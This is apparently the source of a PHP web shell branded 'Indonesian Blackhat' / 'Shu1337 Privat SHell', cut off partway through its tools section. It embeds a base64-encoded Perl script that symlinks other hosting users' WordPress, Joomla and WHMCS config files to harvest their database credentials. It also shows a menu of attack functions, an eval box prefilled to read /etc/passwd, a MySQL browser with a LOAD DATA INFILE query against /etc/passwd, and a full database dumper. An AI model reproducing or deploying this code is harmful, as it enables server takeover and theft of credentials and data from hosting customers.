$configshell = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQpwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuIjsNCnByaW50JzwhRE9DVFlQRSBodG1sIFBVQkxJQyAiLS8vVzNDLy9EVEQgWEhUTUwgMS4wIFRyYW5zaXRpb25hbC8vRU4iICJodHRwOi8vd3d3LnczLm9yZy9UUi94aHRtbDEvRFREL3hodG1sMS10cmFuc2l0aW9uYWwuZHRkIj4NCjxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4NCjxoZWFkPg0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1MYW5ndWFnZSIgY29udGVudD0iZW4tdXMiIC8+DQo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD11dGYtOCIgLz4NCjx0aXRsZT4gTmdpbngxMzM3IENvbmZpZyBGdWNrZXIgPC90aXRsZT4NCjxsaW5rIHJlbD0ic2hvcnRjdXQgaWNvbiIgaHJlZj0iIyIvPg0KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCmJvZHkgew0KCWJhY2tncm91bmQtY29sb3I6ICMwMDAwMDA7DQoJYmFja2dyb3VuZC1pbWFnZTogdXJsKCMpOw0KfQ0KLm5ld1N0eWxlMSB7DQogZm9udC1mYW1pbHk6IFRhaG9tYTsNCiBmb250LXNpemU6IHgtc21hbGw7DQogZm9udC13ZWlnaHQ6IGJvbGQ7DQogY29sb3I6ICM1OUU4MTc7DQogIHRleHQtYWxpZ246IGNlbnRlcjsNCn0NCjwvc3R5bGU+DQo8L2hlYWQ+DQonOw0Kc3ViIGxpbHsNCiAgICAoJHVzZXIpID0gQF87DQokbXNyID0gcXh7cHdkfTsNCiRrb2xhPSRtc3IuIi8iLiR1c2VyOw0KJGtvbGE9fnMvXG4vL2c7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3ZiL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictdmIudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictaW5jbHVkZXMtdmIudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZy5waHAnLCRrb2xhLicyLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nMy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYWRtaW4vY29uZi5waHAnLCRrb2xhLic1LnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25maWcucGhwJywka29sYS4nNC50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd3AtY29uZmlnLnBocCcsJGtvbGEuJy13cDIzLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9nL3dwLWNvbmZpZy5waHAnLCRrb2xhLictd3BibG9nLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93cC93cC1jb25maWcucGhwJywka29sYS4nLXdwZGlyLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25mX2dsb2JhbC5waHAnLCRrb2xhLic2LnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2RiLnBocCcsJGtvbGEuJzcudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2Nvbm5lY3QucGhwJywka29sYS4nOC50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWtfY29uZi5waHAnLCRrb2xhLic5LnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1qb29tLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2NvbmZpZy5waHAnLCRrb2xhLicxMi50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvam9vbWxhL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWpvb21sYS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd2htL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLXdobTE1LnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG1jL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLXdobWMxNi50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc3VwcG9ydC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1zdXBwb3J0LnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmMvY29uZmlnLnBocCcsJGtvbGEuJ215YmIudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtL2luYy9jb25maWcucGhwJywka29sYS4nbXliYjIudHh0Jyk7DQoNCg0KfQ0KaWYgKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgJ1BPU1QnKSB7DQogIHJlYWQoU1RESU4sICRidWZmZXIsICRFTlZ7J0NPTlRFTlRfTEVOR1RIJ30pOw0KfSBlbHNlIHsNCiAgJGJ1ZmZlciA9ICRFTlZ7J1FVRVJZX1NUUklORyd9Ow0KfQ0KQHBhaXJzID0gc3BsaXQoLyYvLCAkYnVmZmVyKTsNCmZvcmVhY2ggJHBhaXIgKEBwYWlycykgew0KICAoJG5hbWUsICR2YWx1ZSkgPSBzcGxpdCgvPS8sICRwYWlyKTsNCiAgJG5hbWUgPX4gdHIvKy8gLzsNCiAgJG5hbWUgPX4gcy8lKFthLWZBLUYwLTldW2EtZkEtRjAtOV0pL3BhY2soIkMiLCBoZXgoJDEpKS9lZzsNCiAgJHZhbHVlID1+IHRyLysvIC87DQogICR2YWx1ZSA9fiBzLyUoW2EtZkEtRjAtOV1bYS1mQS1GMC05XSkvcGFjaygiQyIsIGhleCgkMSkpL2VnOw0KICAkRk9STXskbmFtZX0gPSAkdmFsdWU7DQp9DQppZiAoJEZPUk17cGFzc30gZXEgIiIpew0KcHJpbnQgJw0KPGJvZHkgY2xhc3M9Im5ld1N0eWxlMSIgYmdjb2xvcj0iIzAwMDAwMCI+DQo8cD5MdWx6Ly4uLy4uLy4uLzwvcD4NCjxwPjxmb250IGNvbG9yPSIjQzBDMEMwIj5bPC9mb250PnJlY29kZWQgYnk8Zm9udCBjb2xvcj0iI0ZGMDAwMCI+IG5naW54MTMzNzwvZm9udD48Zm9udCBjb2xvcj0iI0MwQzBDMCI+XTwvZm9udD4NCjxmb3JtIG1ldGhvZD0icG9zdCI+DQo8dGV4dGFyZWEgbmFtZT0icGFzcyIgc3R5bGU9ImJvcmRlcjoxcHggZG90dGVkICNGRjAwMDA7IHdpZHRoOiA1NDNweDsgaGVpZ2h0OiA0MjBweDsgYmFja2dyb3VuZC1jb2xvcjojMEMwQzBDOyBmb250LWZhbWlseTpUYWhvbWE7IGZvbnQtc2l6ZTo4cHQ7IGNvbG9yOiNGRjAwMDAiICA+PC90ZXh0YXJlYT48L3A+DQo8cCBhbGlnbj0iY2VudGVyIj4NCjxpbnB1dCBuYW1lPSJ0YXIiIHR5cGU9InRleHQiIHN0eWxlPSJib3JkZXI6MXB4IGRvdHRlZCAjRkYwMDAwOyB3aWR0aDogMjEycHg7IGJhY2tncm91bmQtY29sb3I6IzBDMEMwQzsgZm9udC1mYW1pbHk6VGFob21hOyBmb250LXNpemU6OHB0OyBjb2xvcjojRkYwMDAwOyAiICAvPjwvcD4NCjxwIGFsaWduPSJjZW50ZXIiPg0KPGlucHV0IG5hbWU9IlN1Ym1pdDEiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkdFVCBDT05GSUcgISIgc3R5bGU9ImJvcmRlcjoxcHggZG90dGVkICNGRjAwMDA7IHdpZHRoOiA5OTsgZm9udC1mYW1pbHk6VGFob21hOyBmb250LXNpemU6MTBwdDsgY29sb3I6IzU5RTgxNzsgdGV4dC10cmFuc2Zvcm06dXBwZXJjYXNlOyBoZWlnaHQ6MjM7IGJhY2tncm91bmQtY29sb3I6IzBDMEMwQyIgLz48L3A+DQo8L2Zvcm0+JzsNCn1lbHNlew0KQGxpbmVzID08JEZPUk17cGFzc30+Ow0KJHkgPSBAbGluZXM7DQpvcGVuIChNWUZJTEUsICI+dGFyLnRtcCIpOw0KcHJpbnQgTVlGSUxFICJ0YXIgLWN6ZiAiLiRGT1JNe3Rhcn0uIi50YXIgIjsNCmZvciAoJGthPTA7JGthPCR5OyRrYSsrKXsNCndoaWxlKEBsaW5lc1ska2FdICA9fiBtLyguKj8pOng6L2cpew0KJmxpbCgkMSk7DQpwcmludCBNWUZJTEUgJDEuIi50eHQgIjsNCmZvcigka2Q9MTska2Q8MTg7JGtkKyspew0KcHJpbnQgTVlGSUxFICQxLiRrZC4iLnR4dCAiOw0KfQ0KfQ0KIH0NCnByaW50Jzxib2R5IGNsYXNzPSJuZXdTdHlsZTEiIGJnY29sb3I9IiMwMDAwMDAiPg0KPHA+WW91IGdvdCBpdCEhPGJyPjxicj48YnI+PGZvbnQgY29sb3I9IiNDMEMwQzAiPls8L2ZvbnQ+UmVjb2RlZCBieSA8Zm9udCBjb2xvcj0iI0ZGMDAwMCI+TmdpbngxMzM3PC9mb250Pjxmb250IGNvbG9yPSIjQzBDMEMwIj5dPC9mb250PjwvcD4NCjxwPiZuYnNwOzwvcD4nOw0KaWYoJEZPUk17dGFyfSBuZSAiIil7DQpvcGVuKElORk8sICJ0YXIudG1wIik7DQpAbGluZXMgPTxJTkZPPiA7DQpjbG9zZShJTkZPKTsNCnN5c3RlbShAbGluZXMpOw0KcHJpbnQnPHA+PGEgaHJlZj0iJy4kRk9STXt0YXJ9LicudGFyIj48Zm9udCBjb2xvcj0iIzAwRkYwMCI+DQo8c3BhbiBzdHlsZT0idGV4dC1kZWNvcmF0aW9uOiBub25lIj5IaXQgTWUgVG8gRG93bmxvYWQgVGFyIEZpbGU8L3NwYW4+PC9mb250PjwvYT48L3A+JzsNCn0NCn0NCiBwcmludCINCjwvYm9keT4NCjwvaHRtbD4iOw0K';
?>
<html><head><title>Indonesian Blackhat</title>
<script type="text/javascript">
function tukar(lama,baru){
	document.getElementById(lama).style.display = 'none';
	document.getElementById(baru).style.display = 'block';
}
</script>
<style type="text/css">
body { background-color:transparan;background:#000;} 
a {
text-decoration:none;
}
a:hover{
border-bottom:1px solid #00ff00;
}
*{
	font-size:11px;
	font-family:Tahoma,Verdana,Arial;
	color:white;
}
#menu{
	background:#111111;
	margin:8px 2px 4px 2px;
}
#menu a{
	padding:4px 18px;
	margin:0;
	background:red;
	text-decoration:none;
	letter-spacing:1px;
}
#menu a:hover{
	background:blue;
	border-bottom:1px solid #333333;
	border-top:1px solid #333333;
}
.tabnet{
	margin:15px auto 0 auto;
	border: 1px solid #333333;
}
.main {
	width:100%;
}
.gaya {
	color: white;
}
.inputz{
	background:#111111;
	border:0;
	padding:2px;
	border-bottom:1px solid #222222;
	border-top:1px solid #222222;
}
.inputzbut{
	background:#111111;
	color:#00ff00;
	margin:0 4px;
	border:1px solid #444444;

}
.inputz:hover, .inputzbut:hover{
	border-bottom:1px solid #00ff00;
	border-top:1px solid #00ff00;
}
.output {
	margin:auto;
	border:1px solid #00ff00;
	width:100%;
	height:400px;
	background:#000000;
	padding:0 2px;
}
.cmdbox{
	width:100%;
}
.head_info{
	padding: 0 4px;
}
.jaya{ font-family: ;}

.shu{
	font-size:25px;
	padding:0;
	color:red;
}
.b374k_tbl{
	text-align:center;
	margin:0 4px 0 0;
	padding:0 4px 0 0;
	border-right:1px solid #333333;
}
.explore{
width:100%;
}
.explore a {
text-decoration:none;
}
.explore td{
border-bottom:1px solid #333333;
padding:0 8px;
line-height:24px;
}
.explore th{
padding:3px 8px;
font-weight:normal;
}
.explore th:hover , .phpinfo th:hover{
border-bottom:1px solid #00ff00;
}
.explore tr:hover{
background:red;
}
.viewfile{
background:#EDECEB;
color:#000000;
margin:4px 2px;
padding:8px;
}
.sembunyi{
display:none;
padding:0;margin:0;
}

</style></head>
<body onLoad="document.getElementById('cmd').focus();">
<div class="main">
<!-- head info start here -->
<div class="head_info">
<table ><tr>
<td><table class="b374k_tbl"><tr><td><a href="?"><span class="shu">Shu1337</span></a></td></tr><tr><td><b>Privat SHell</b></td></tr></table></td>
<td><?php echo $buff; ?></td>
</tr></table>
</div>
<!-- head info end here -->
<!-- menu start -->
<center><div id="menu">
<a href="?<?php echo "y=".$pwd; ?>">Explore</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=shell">Shell</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=php">Eval</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=mysql">Mysql</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=dump">DB Dump</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=netsploit">Netsploit</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=cr00t">Upload</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=mail">E-Mail</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=tool">Tools</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=symlink">Symlink</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=domain">Domain</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=config">Config</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=bypass">Bypass</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=jumping">Jumping</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=mass">Mass</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=hash">Hash</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=jembut">CP BForce</a>

</div></center>
<!-- menu end -->

<?php if(isset($_GET['x']) && ($_GET['x'] == 'php')){ ?>
<form action="?y=<?php echo $pwd; ?>&amp;x=php" method="post">
<table class="cmdbox">
<tr><td>
<textarea class="output" name="cmd" id="cmd">
<?php
if(isset($_POST['submitcmd'])) {
	echo eval(magicboom($_POST['cmd']));
}
else echo "echo file_get_contents('/etc/passwd');";
?>
</textarea>
<tr><td><input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="submitcmd" /></td></tr></form>
</table>
</form>

<?php } 
elseif(isset($_GET['x']) && ($_GET['x'] == 'mysql')){
if(isset($_GET['sqlhost']) && isset($_GET['sqluser']) && isset($_GET['sqlpass']) && isset($_GET['sqlport'])){
	$sqlhost = $_GET['sqlhost'];
	$sqluser = $_GET['sqluser'];
	$sqlpass = $_GET['sqlpass'];
	$sqlport = $_GET['sqlport'];
	if($con = @mysql_connect($sqlhost.":".$sqlport,$sqluser,$sqlpass)){
		// show mysql info
		$msg .= "<div style=\"width:99%;padding:4px 10px 0 10px;\">";
		$msg .= "<p>Connected to ".$sqluser."<span class=\"gaya\">@</span>".$sqlhost.":".$sqlport;
		$msg .= "&nbsp;&nbsp;<span class=\"gaya\">-&gt;</span>&nbsp;&nbsp;<a href=\"?y=".$pwd."&amp;x=mysql&amp;sqlhost=".$sqlhost."&amp;sqluser=".$sqluser."&amp;sqlpass=".$sqlpass."&amp;sqlport=".$sqlport."&amp;\">[ databases ]</a>";
		if(isset($_GET['db'])) $msg .= "&nbsp;&nbsp;<span class=\"gaya\">-&gt;</span>&nbsp;&nbsp;<a href=\"?y=".$pwd."&amp;x=mysql&amp;sqlhost=".$sqlhost."&amp;sqluser=".$sqluser."&amp;sqlpass=".$sqlpass."&amp;sqlport=".$sqlport."&amp;db=".$_GET['db']."\">".htmlspecialchars($_GET['db'])."</a>";
		if(isset($_GET['table'])) $msg .= "&nbsp;&nbsp;<span class=\"gaya\">-&gt;</span>&nbsp;&nbsp;<a href=\"?y=".$pwd."&amp;x=mysql&amp;sqlhost=".$sqlhost."&amp;sqluser=".$sqluser."&amp;sqlpass=".$sqlpass."&amp;sqlport=".$sqlport."&amp;db=".$_GET['db']."&amp;table=".$_GET['table']."\">".htmlspecialchars($_GET['table'])."</a>";
		$msg .= "</p><p>version : ".mysql_get_server_info($con)." proto ".mysql_get_proto_info($con)."</p>";
		$msg .= "</div>";
		echo $msg;
		if(isset($_GET['db']) && (!isset($_GET['table'])) && (!isset($_GET['sqlquery']))){
			$db = $_GET['db'];
			$query = "DROP TABLE IF EXISTS elz_table;
CREATE TABLE `elz_table` ( `file` LONGBLOB NOT NULL );
LOAD DATA INFILE \"/etc/passwd\"
INTO TABLE elz_table;SELECT * FROM elz_table;
DROP TABLE IF EXISTS elz_table;";
			$msg  = "<div style=\"width:99%;padding:0 10px;\"><form action=\"?\" method=\"get\">
			<input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
			<input type=\"hidden\" name=\"x\" value=\"mysql\" />
			<input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" />
			<input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" />
			<input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" />
			<input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" />
			<input type=\"hidden\" name=\"db\" value=\"".$db."\" />
			<p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">$query</textarea></p>
			<p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go !\" /></p>
			</form></div>
			";


			// show available tables
			$tables = array();
			$msg .= "<table class=\"explore\" style=\"width:99%;\"><tr><th>available tables on ".$db."</th></tr>";
			$hasil = @mysql_list_tables($db,$con);		
			while(list($table) = @mysql_fetch_row($hasil)){
				@array_push($tables,$table);
			}
			@sort($tables);	
			foreach($tables as $table){
				$msg .= "<tr><td><a href=\"?y=".$pwd."&amp;x=mysql&amp;sqlhost=".$sqlhost."&amp;sqluser=".$sqluser."&amp;sqlpass=".$sqlpass."&amp;sqlport=".$sqlport."&amp;db=".$db."&amp;table=".$table."\">$table</a></td></tr>";
			}
			$msg .= "</table>";
		}
		elseif(isset($_GET['table']) && (!isset($_GET['sqlquery']))){
			// dump tables
			$db = $_GET['db'];
			$table = $_GET['table'];
			$query = "SELECT * FROM ".$db.".".$table." LIMIT 0,100;";
			$msgq  = "<div style=\"width:99%;padding:0 10px;\"><form action=\"?\" method=\"get\">
			<input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
			<input type=\"hidden\" name=\"x\" value=\"mysql\" />
			<input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" />
			<input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" />
			<input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" />
			<input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" />
			<input type=\"hidden\" name=\"db\" value=\"".$db."\" />
			<input type=\"hidden\" name=\"table\" value=\"".$table."\" />
			<p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">".$query."</textarea></p>
			<p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go !\" /></p>
			</form></div>
			";
			$columns = array();
			$msg = "<table class=\"explore\" style=\"width:99%;\">";
			$hasil = @mysql_query("SHOW FIELDS FROM ".$db.".".$table);		
			while(list($column) = @mysql_fetch_row($hasil)){
				$msg .= "<th>$column</th>";
				$kolum = $column;
			}
			$msg .= "</tr>";
			$hasil = @mysql_query("SELECT count(*) FROM ".$db.".".$table);
			list($total) = mysql_fetch_row($hasil);		
			if(isset($_GET['z'])) $page = (int) $_GET['z'];
			else $page = 1;
			$pagenum = 100;
			$totpage = ceil($total / $pagenum);
			$start = (($page - 1) * $pagenum); 			
			$hasil = @mysql_query("SELECT * FROM ".$db.".".$table." LIMIT ".$start.",".$pagenum);
			while($datas = @mysql_fetch_assoc($hasil)){
				$msg .= "<tr>";
				foreach($datas as $data){
					if(trim($data) == "") $data = "&nbsp;";
					$msg .= "<td>$data</td>";
				}
				$msg .= "</tr>";
			}
			$msg .= "</table>";
			
			
			$head = "<div style=\"padding:10px 0 0 6px;\">
			<form action=\"?\" method=\"get\">
			<input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
			<input type=\"hidden\" name=\"x\" value=\"mysql\" />
			<input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" />
			<input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" />
			<input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" />
			<input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" />
			<input type=\"hidden\" name=\"db\" value=\"".$db."\" />
			<input type=\"hidden\" name=\"table\" value=\"".$table."\" />
			Page <select class=\"inputz\" name=\"z\" onchange=\"this.form.submit();\">";
			for($i = 1;$i <= $totpage;$i++){
				$head .= "<option value=\"".$i."\">".$i."</option>";
				if($i == $_GET['z']) $head .= "<option value=\"".$i."\" selected=\"selected\">".$i."</option>";
			}
			$head .= "</select><noscript><input class=\"inputzbut\" type=\"submit\" value=\"Go !\" /></noscript></form></div>";
			$msg = $msgq.$head.$msg;
		}
		elseif(isset($_GET['submitquery']) && ($_GET['sqlquery'] != "")){
			$db = $_GET['db'];
			$query = magicboom($_GET['sqlquery']);
			$msg  = "<div style=\"width:99%;padding:0 10px;\"><form action=\"?\" method=\"get\">
			<input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
			<input type=\"hidden\" name=\"x\" value=\"mysql\" />
			<input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" />
			<input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" />
			<input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" />
			<input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" />
			<input type=\"hidden\" name=\"db\" value=\"".$db."\" />
			<p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">".$query."</textarea></p>
			<p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go !\" /></p>
			</form></div>
			";
			@mysql_select_db($db);
			$querys = explode(";",$query);
			foreach($querys as $query){
			  if(trim($query) != ""){
				$hasil = mysql_query($query);
				if($hasil){
					$msg .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query.";&nbsp;&nbsp;&nbsp;<span class=\"gaya\">[</span> ok <span class=\"gaya\">]</span></p>";
					$msg .= "<table class=\"explore\" style=\"width:99%;\"><tr>";
					for($i=0;$i<@mysql_num_fields($hasil);$i++)
						$msg .= "<th>".htmlspecialchars(@mysql_field_name($hasil,$i))."</th>";
					$msg .= "</tr>";
					for($i=0;$i<@mysql_num_rows($hasil);$i++)
					{
						$rows=@mysql_fetch_array($hasil);
						$msg .= "<tr>";
						for($j=0;$j<@mysql_num_fields($hasil);$j++)
						{
							if($rows[$j] == "") $dataz = "&nbsp;";
							else $dataz = $rows[$j];
							$msg .= "<td>".$dataz."</td>";
						}
						$msg .= "</tr>";
					}
					$msg .= "</table>";
				}
				else $msg .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query.";&nbsp;&nbsp;&nbsp;<span class=\"gaya\">[</span> error <span class=\"gaya\">]</span></p>";		
			  }
			}
		}
		else {
		  	$query = "SHOW PROCESSLIST;
SHOW VARIABLES;
SHOW STATUS;";
			$msg  = "<div style=\"width:99%;padding:0 10px;\"><form action=\"?\" method=\"get\">
			<input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
			<input type=\"hidden\" name=\"x\" value=\"mysql\" />
			<input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" />
			<input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" />
			<input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" />
			<input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" />
			<input type=\"hidden\" name=\"db\" value=\"".$db."\" />
			<p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">".$query."</textarea></p>
			<p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go !\" /></p>
			</form></div>
			";
			// show available database
			$dbs = array();
			$msg .= "<table class=\"explore\" style=\"width:99%;\"><tr><th>available databases</th></tr>";
			$hasil = @mysql_list_dbs($con);		
			while(list($db) = @mysql_fetch_row($hasil)){
				@array_push($dbs,$db);
			}
			@sort($dbs);	
			foreach($dbs as $db){
				$msg .= "<tr><td><a href=\"?y=".$pwd."&amp;x=mysql&amp;sqlhost=".$sqlhost."&amp;sqluser=".$sqluser."&amp;sqlpass=".$sqlpass."&amp;sqlport=".$sqlport."&amp;db=".$db."\">$db</a></td></tr>";
			}
			$msg .= "</table>";
		}
		@mysql_close($con);
	}
	else $msg = "<p style=\"text-align:center;\">cant connect to mysql server</p>";


	echo $msg;
}
else{
?>
<form action="?" method="get">
<input type="hidden" name="y" value="<?php echo $pwd; ?>" />
<input type="hidden" name="x" value="mysql" />
<table class="tabnet" style="width:300px;">
<tr><th colspan="2">Connect to mySQL server</th></tr>
<tr><td>&nbsp;&nbsp;Host</td><td><input style="width:220px;" class="inputz" type="text" name="sqlhost" value="localhost" /></td></tr>
<tr><td>&nbsp;&nbsp;Username</td><td><input style="width:220px;" class="inputz" type="text" name="sqluser" value="root" /></td></tr>
<tr><td>&nbsp;&nbsp;Password</td><td><input style="width:220px;" class="inputz" type="text" name="sqlpass" value="password" /></td></tr>
<tr><td>&nbsp;&nbsp;Port</td><td><input  style="width:80px;" class="inputz" type="text" name="sqlport" value="3306" />&nbsp;<input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="submitsql" /></td></tr>
</table>
</form>
<?php }}
//////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'dump'))
    {
    ?>
    <form action="?y=<?php echo $pwd; ?>&x=dump" method="post">
    <?php
echo $head.'<p align="center">';
echo '
<table width=371 class=tabnet >
<tr><th colspan="2">Database Dump</th></tr>
<tr>
	<td>Server </td>
	<td><input class="inputz" type=text name=server size=52></td></tr><tr>
	<td>Username</td>
	<td><input class="inputz" type=text name=username size=52></td></tr><tr>
	<td>Password</td>
	<td><input class="inputz" type=text name=password size=52></td></tr><tr>
	<td>DataBase Name</td>
	<td><input class="inputz" type=text name=dbname size=52></td></tr>
	<tr>
	<td>DB Type </td>
	<td><form method=post action="'.$me.'">
	<select class="inputz" name=method>
		<option  value="gzip">Gzip</option>
		<option value="sql">Sql</option>
		</select>
	<input class="inputzbut" type=submit value="  Dump!  " ></td></tr>
	</form></center></table>';
if ($_POST['username'] && $_POST['dbname'] && $_POST['method']){
$date = date("Y-m-d");
$dbserver = $_POST['server'];
$dbuser = $_POST['username'];
$dbpass = $_POST['password'];
$dbname = $_POST['dbname'];
$file = "Dump-$dbname-$date";
$method = $_POST['method'];
if ($method=='sql'){
$file="Dump-$dbname-$date.sql";
$fp=fopen($file,"w");
}else{
$file="Dump-$dbname-$date.sql.gz";
$fp = gzopen($file,"w");
}
function write($data) {
global $fp;
if ($_POST['method']=='ssql'){
fwrite($fp,$data);
}else{
gzwrite($fp, $data);
}}
mysql_connect ($dbserver, $dbuser, $dbpass);
mysql_select_db($dbname);
$tables = mysql_query ("SHOW TABLES");
while ($i = mysql_fetch_array($tables)) {
    $i = $i['Tables_in_'.$dbname];
    $create = mysql_fetch_array(mysql_query ("SHOW CREATE TABLE ".$i));
    write($create['Create Table'].";

");
    $sql = mysql_query ("SELECT * FROM ".$i);
    if (mysql_num_rows($sql)) {
        while ($row = mysql_fetch_row($sql)) {
            foreach ($row as $j => $k) {
                $row[$j] = "'".mysql_escape_string($k)."'";
            }
            write("INSERT INTO $i VALUES(".implode(",", $row).");
");
        }
    }
}
if ($method=='ssql'){
fclose ($fp);
}else{
gzclose($fp);}
header("Content-Disposition: attachment; filename=" . $file);   
header("Content-Type: application/download");
header("Content-Length: " . filesize($file));
flush();

$fp = fopen($file, "r");
while (!feof($fp))
{
    echo fread($fp, 65536);
    flush();
} 
fclose($fp); 
}

}

//////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'tool'))
{	
?>
<form action="?y=<?php echo $pwd; ?>&amp;x=tool" method="post">
<?php

error_reporting(0);
function ss($t){if (!get_magic_quotes_gpc()) return trim(urldecode($t));return trim(urldecode(stripslashes($t)));}
